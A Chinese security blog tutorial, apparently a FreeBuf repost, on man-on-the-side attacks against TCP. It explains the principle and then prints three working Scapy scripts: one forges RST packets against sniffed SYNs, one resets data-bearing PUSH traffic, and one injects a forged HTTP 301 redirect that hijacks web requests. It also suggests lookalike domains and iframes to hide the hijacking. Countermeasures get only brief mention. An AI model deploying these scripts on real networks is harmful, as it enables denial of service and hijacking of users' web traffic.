MOTS攻击之TCP攻击

1. 概述

继续进行MOTS类型攻击方式的进展。这里再次强调一下,MOTS 是指 Man-On-The-Side,是一种在旁路监听模式下的攻击方式;和 MITM 不同,MITM 是指 Man-In-The-Middle,是中间人攻击。MOTS 其原理是监听与构造响应数据包,并在正常数据包返回之前插入伪造的数据包。其实现的核心条件是 TCP/IP 协议本身实现时并没有考虑这方面的安全问题。MOTS 实现的整体逻辑如下所示,其中 Attack 是旁路监听模式,而不是直接串在网络中的。这种类型的攻击比中间人攻击相对隐秘,其正常情况下只是监听,需要攻击时才进行攻击,并且攻击时只需要发送少量报文,不会出现大流量。所以具有隐蔽、难以发现、攻击效果明显等特点

前面已经进行了MOTS相关原理及基于UDP应用攻击的描述。不了解的可以点击文末的阅读原文查看下面两篇文章:

《MOTS攻击技术分析》

《MOTS攻击之UDP攻击》

学习过TCP/IP的同学都应该了解,传输层有两种协协议:TCP和UDP,这两种协议本身的特点决定了其应用场景的不同。TCP作为一种可靠的协议,其具有面向连接、可靠等特点。所以很多应用都基于TCP作开发,如应用最多的web应用。针对TCP的攻击这里主要介绍两种方式:DOS和劫持,其他类型的攻击,大家可以完善、补充。

2. DOS攻击

2.1 原理

大家知道,针对某一IP的特点端口进行探测其是否开放时,一般发送SYN,若其端口开放,对方回应SYN+ACK;若端口不开放,则回应reset。所以针对TCP的应用,我们进行DOS时,可以监听其SYN包,一旦有客户端发送SYN,直接给其回应reset,并且保证伪造的reset比正常的响应包早到,即可达到DOS的效果。其实现逻辑如下图所示:

2.2 三次握手DOS

要实现对TCP应用的DOS,需要按照以下几步实现:

1、构造reset报文 2、监听网络中的TCP SYN报文 3、监听到TCP SYN报文时,回应reset报文

2.2.1 安装scapy库

实现TCP的DOS攻击是通过安装python的第三方库scapy库来实现的,python本身没有这个库,需要手工安装,具体安装方法大家根据自己的系统与python版本自行安装,本人测试是使用Win10 Pro+Python3.6。python 3.6版本可以通过命令: pip install scapy来安装。

2.2.2 构造reset报文

reset报文结构相对较简单,普通的TCP报文,只是其reset和ack位置一,且ack=前一报文的seq+1。对方收到reset报文后,其TCP层立即释放TCP连接,reset报文比fin报文释放连接时效率高很多,正常的TCP关闭使用FIN时需要四个报文,而使用reset来释放的话只需要一个报文。

2.2.3 监听并攻击

攻击程序代码如下,大家可以根据实际情况修改:

coding:utf-8 ‘’’ date:2017-07-07 author:feiniao Version:1.0 ‘’’ from scapy.all import * import random ‘’’ 1、windows绑定本机网卡,首先使用show_interfaces()查看相关网卡 2、再使用conf.iface=’’绑定相应的网卡 3、linux需要在sniff()中指定相应的网卡 ‘’’ conf.iface=’Intel(R) Dual Band Wireless-AC 8260’ 随机ip字段的id和ttl ipid = random.randint(1,65535) ipttl = random.randint(45,80) tcpseq = random.randint(1,4294967295) def buying(tcpmots): resp = Ether()/IP()/TCP() 构造TCP相关字段 resp[TCP].dport = tcpmots[TCP].sport resp[TCP].sport = tcpmots[TCP].dport resp[TCP].ack = tcpmots[TCP].seq + 1 resp[TCP].flags = “RA” resp[TCP].window = 0 构造IP包头 resp[IP].src = tcpmots[IP].dst resp[IP].dst = tcpmots[IP].src resp[IP].ttl = ipttl resp[IP].id = ipid 构造以太网包头 resp[Ether].src = tcpmots[Ether].dst resp[Ether].dst = tcpmots[Ether].src 发送构造的TCP DOS 包 sendp(resp,count=1) print(“TCP DOS 攻击”,resp[IP].dst,”成功”) if name == ‘main‘: sniff(prn=buying,filter=’tcp[tcpflags]&(tcp-syn)!=0 and tcp[tcpflags]&(tcp-ack)==0’)

找到攻击程序所在的目录,直接输入python tcpsyndos.py即可。

大家攻击测试的情况可能和我一样,收到客户端的SYN包以后,明明发送了reset报文,并且对方也收到了,但是客户端就是不释放连接,并且正常的响应报文过来以后还可以正常交互。其报文交互如下所示:

通过上面的交互可以看到,192.168.0.105发送一个SYN报文,118.184.32.93首先回应了一个reset报文,其rst和ack位均置一。但是192.168.0.105并没有释放连接,然后收到118.184.32.93的syn+ack报文,反而建立成功了TCP的三次握手,后面还正常进行数据的交互。正常情况下,客户端收到reset报文时的确应该是直接释放TCP连接,但是攻击在不断进化与升级的同时,防护也同样在升级。本人测试时使用的是Windows10 Pro版本,经分析,其应该是操作系统过滤了reset报文,至少是过滤了三次握手时的reset包,所以才导致连接并没有释放并且可以正常交互。

端系统对RST报文的过滤,大家可参考:http://www.vants.org/?post=140

如果有测试时出现攻击者发送reset包的并且正常释放连接的,那么其端系统是没有过滤reset报文的,测试成功的小伙伴可以联系我,我来完善一下。

2.2.4 攻击对抗

既然客户端过滤了reset那么,那么就没有办法针对三次握手时进行DOS了?呵呵!办法还是有很多种的,大家知道,客户端发送seq=x时,对方响应报文的ack=x+1,若ack!=x+1,那么客户端肯定会响应reset的。这样话,就有了下面第一种针对方式,改变ack的大小,只需要把上面的代码作下面的修改即可:

resp[TCP].ack = 0 //ack大小可以任意指定

resp[TCP].flags= "SA"

这样修改的话,可以达到DOS的效果,实际攻击效果如下:

2.3 数据交互DOS

这种DOS的攻击场景为数据交互时,若浏览某个页面时,传输数据时等。其只需要监听客户端的行为,并对特定的方式或内容进行DOS。

这里本人实现时,只要有PUSH行为,就给DOS。代码如下:

coding:utf-8 ‘’’ date:2017-07-11 author:feiniao Version:1.0 ‘’’ from scapy.all import * import random ‘’’ 1、windows绑定本机网卡,首先使用show_interfaces()查看相关网卡 2、再使用conf.iface=’’绑定相应的网卡 3、linux需要在sniff()中指定相应的网卡 ‘’’ conf.iface=’Intel(R) Dual Band Wireless-AC 8260’ 随机ip字段的id和ttl ipid = random.randint(1,65535) ipttl = random.randint(45,80) tcpseq = random.randint(1,4294967295) def buying(tcpmots): resp = Ether()/IP()/TCP() 构造TCP相关字段 resp[TCP].dport = tcpmots[TCP].sport resp[TCP].sport = tcpmots[TCP].dport resp[TCP].seq = tcpmots[TCP].ack resp[TCP].ack = tcpmots[TCP].seq + len(tcpmots[TCP].load) resp[TCP].flags = “RA” resp[TCP].window = 0 构造IP包头 resp[IP].src = tcpmots[IP].dst resp[IP].dst = tcpmots[IP].src resp[IP].ttl = ipttl resp[IP].id = ipid 构造以太网包头 resp[Ether].src = tcpmots[Ether].dst resp[Ether].dst = tcpmots[Ether].src 发送构造的TCP DOS 包 sendp(resp,count=1) print(“TCP DOS 攻击”,resp[IP].dst,”成功”) if name == ‘main‘: sniff(prn=buying,filter=’tcp[tcpflags]&(tcp-push)!=0 and dst host 118.184.32.93’)

测试时,发现客户端并没有过滤PUSH数据交互时的reset报文,上面过滤了三次握手时的reset报文,可见reset报文的过滤在TCP层面可以有针对性的过滤。针对数据交互的DOS:

这里大家可以根据具体需求进行完善。

2.4 对抗

2.4.1 加密

使用VPX、代理、https等方式

2.4.2 协议优化

以下纯粹个人观点:

针对MOTS类型的 TCP DOS方式的攻击,客户端发送syn报文后,一方面可以直接过滤reset报文,另一方面收到reset或者syn+ack但是ack序号不正确的报文不立即处理,而是等一段时间(如10ms),在这段时间内若有正常的syn+ack报文过来,则正常建立连接。

3. TCP劫持与欺骗

3.1 原理

很简单,在监听到客户端发送请求时,发送一个伪造的响应,并且比正常的响应早到,这样即可达到欺骗的效果。生活中常见的如打开网页时插入尾巴、广告等方式一般情况下都是通过这种方式实现的。

3.2 实现

这里实现一个打开任意网站时,返回一个301,并跳转到freebuf的劫持。代码如下,运行很简单,

coding:utf-8 ‘’’ name:http mots attack date:2017-07-11 author:feiniao Version:1.0 ‘’’ from scapy.all import * import random ‘’’ 1、windows绑定本机网卡,首先使用show_interfaces()查看相关网卡 2、再使用conf.iface=’’绑定相应的网卡 3、linux需要在sniff()中指定相应的网卡 ‘’’ conf.iface=’Intel(R) Dual Band Wireless-AC 8260’ ipid = random.randint(1,65535) ipttl = random.randint(45,80) tcpseq = random.randint(1,4294967295)#HTTP 301 data = “HTTP/1.0 301 Moved Permanently\r\n” data += “Server: Apache/1.3.17 (Unix) PHP/4.0.4\r\n” data += “Location: http://www.freebuf.com\r\n” data += “Content-Type: text/html; charset=iso-8859-1\r\n” data += “Connection: close\r\n” data += “\r\n” def buying(httpmots): resp = Ether()/IP()/TCP()/data 构造TCP相关字段 resp[TCP].dport = httpmots[TCP].sport resp[TCP].sport = httpmots[TCP].dport resp[TCP].seq = httpmots[TCP].ack resp[TCP].ack = httpmots[TCP].seq + len(httpmots[TCP].load) resp[TCP].flags = “A” resp[TCP].window = 12345 构造IP包头 resp[IP].src = httpmots[IP].dst resp[IP].dst = httpmots[IP].src resp[IP].ttl = ipttl resp[IP].id = ipid 构造以太网包头 resp[Ether].src = httpmots[Ether].dst resp[Ether].dst = httpmots[Ether].src 发送构造的TCP DOS 包 sendp(resp,count=1) print(“HTTP劫持”,resp[IP].src,”成功”) if name == ‘main‘: 过滤HTTP的GET请求 sniff(prn=buying,filter=’tcp[((tcp[12:1]&0xf0)>>2):4]=0x47455420 and not host 120.55.226.207’)

攻击效果如下,打开www.cisco.com,返回的是www.freebuf.com的内容。有的同学可能说这个太直观了,很容易发现,cisco和freebuf差别还是很大的,如果返回的是www.cisc0.com、 www.clsco.com、甚至前面有大牛写的“同形异义”,这种方式就不好发现了。

运营X做劫持的方法之一为:返回302,返回内容中有 iframe,通过 iframe 加载正常的页面,这样的话很就难发现了。

上面实现时花费了很长时间,一直使用 python 的 scapy_http.http 库来实现,但是在发送的时候一直报错,由于本人python 新手,最后还是通过 scapy 构造 http 的数据来实现。有通过 scapy_http.http 库实现的大牛,可以贡献一下相关代码,嘿嘿!在这里先谢过。

3.3 对抗

大家自己总结吧,我上面也写了很多。这里就不作太多描述了。

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2017-07-19

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏北京马哥教育

TCP恋爱史:三次握手和四次分手

TCP恋爱史:三次握手和四次分手 ---- 一个应用占用CPU很高,除了确实是计算密集型应用之外,通常原因都是出现了死循环。 以我们最近出现的 TCP协议非常重...

2653
来自专栏小二的折腾日记

一文总结计算机网络

它只有四层,相当于五层协议中数据链路层和物理层合并为网络接口层。 现在的 TCP/IP 体系结构不严格遵循 OSI 分层概念,应用层可能会直接使用 IP 层或者...

1012
来自专栏玄魂工作室

Python灰帽编程 3.1 ARP欺骗

ARP欺骗是一种在局域网中常用的攻击手段,目的是让局域网中指定的(或全部)的目标机器的数据包都通过攻击者主机进行转发,是实现中间人攻击的常用手段,从而实现数据监...

4206
来自专栏JavaEdge

计算机网络基础知识点1. OSI,TCP/IP,五层协议的体系结构,以及各层协议2. IP地址的分类3. ARP是地址解析协议,简单语言解释一下工作原理。4. 各种协议的介绍5. 描述RARP协议6.

5508
来自专栏猿人谷

TCP第三次握手失败怎么办

笔试题中经常会遇到这个问题:如果tcp建立连接时第三次握手失败,tcp会做何操作?该问题的本质是判断我们对tcp的状态转换是否能有比较深刻的理解。只要理解了下面...

2667
来自专栏coding

RabbitMQ实战4.发布与订阅交换机临时队列发布与订阅功能实现执行结果流程总结参考文档

RabbitMQ并非直接将消息投递到队列中,而是要经过交换机,交换机再与队列绑定。那么,什么是交换机? 如何通过交换机与队列的绑定实现发布与订阅功能?

962
来自专栏移动开发的那些事儿

TCP问题分析

![tcp1.jpg](http://upload-images.jianshu.io/upload_images/1609288-0260d9484b...

1943
来自专栏landv

烽火2640路由器命令行手册-04-网络协议配置命令

配置静态ARP映射,静态ARP映射会永久保留在ARP缓存中。如果要删除配置的静态ARP映射的话,使用 no arp 命令。

1212
来自专栏流媒体

TCP详解+wireshark抓包演示简介

TCP提供了一种面向连接的、可靠的字节流服务。 面向连接:接双方在通信前需要预先建立一条连接,这犹如实际生活中的打电话。

1853
来自专栏coderhuo

TCP连接建立、断开过程详解

TCP连接建立过程需要经过三次握,断开过程需要经过四次挥手,为什么? 有没有其他的连接建立、断开方式?

1122

扫码关注云+社区

领取腾讯云代金券